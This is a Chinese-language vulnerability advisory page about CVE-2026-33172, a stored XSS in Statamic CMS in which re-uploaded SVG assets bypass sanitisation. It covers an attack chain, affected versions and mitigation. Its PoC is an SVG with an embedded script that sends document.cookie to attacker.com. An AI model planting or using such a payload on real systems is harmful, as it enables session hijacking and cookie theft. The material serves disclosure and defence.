IPBUF安全漏洞报告
English
CVE-2026-33172 CVSS 8.7 高危

CVE-2026-33172 Statamic CMS存储型XSS漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33172
漏洞类型
存储型XSS
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Statamic CMS

相关标签

XSS存储型XSSStatamicCMSLaravelCVE-2026-33172

漏洞概述

Statamic CMS是一个基于Laravel和Git的内容管理系统。在5.73.14和6.7.0之前的版本中,存在一个存储型跨站脚本(XSS)漏洞。该漏洞源于SVG资产重新上传时的安全过滤机制失效。拥有资产上传权限的经过身份验证的用户可以利用此漏洞绕过SVG清理机制,上传包含恶意JavaScript代码的SVG文件。当其他用户查看该资产时,恶意代码将被执行,可能导致会话劫持或数据窃取。

技术细节

该漏洞位于Statamic CMS处理SVG文件上传和重新上传的逻辑中。通常,CMS会对上传的SVG文件进行净化,以移除潜在的恶意脚本标签或事件处理器。然而,在受影响版本中,系统未能正确处理重新上传的SVG文件,导致安全检查被绕过。攻击者利用这一缺陷,可以构造包含恶意JavaScript代码的特制SVG文件。由于SVG支持XML命名空间和脚本标签,攻击者可以在文件中嵌入Payload。当具有适当权限的用户上传该文件后,若管理员或其他用户在后台预览或访问该资源,浏览器会解析SVG并执行其中的恶意脚本。鉴于该漏洞为存储型XSS(S:C),攻击范围可扩展到查看资产的其他用户,造成高完整性和机密性影响。

攻击链分析

STEP 1
步骤1:获取权限
攻击者注册或获取一个拥有资产上传权限的认证账户。
STEP 2
步骤2:构造Payload
攻击者制作一个包含恶意JavaScript代码的SVG文件,利用SVG支持脚本标签的特性。
STEP 3
步骤3:上传文件
攻击者通过Statamic的上传功能上传该SVG文件,利用漏洞绕过系统的SVG清理检查。
STEP 4
步骤4:诱导访问
等待或诱导管理员及其他用户在系统后台查看或预览该上传的SVG资产。
STEP 5
步骤5:执行攻击
受害者的浏览器解析SVG并执行其中的恶意脚本,导致XSS攻击,窃取敏感数据或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-33172: Stored XSS via SVG upload --> <!-- Attacker creates a malicious SVG file and uploads it as an asset --> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" /> <script type="text/javascript"> alert('CVE-2026-33172 XSS Executed'); // Malicious actions can be performed here, e.g., stealing cookies fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> </svg>

影响范围

Statamic CMS < 5.73.14
Statamic CMS < 6.7.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用非管理员用户的资产上传功能,或者在后端添加额外的SVG文件清洗逻辑,强制移除所有<script>标签和事件处理器(如onload)。同时,建议在Web应用防火墙(WAF)中部署规则,拦截包含可疑脚本的SVG文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表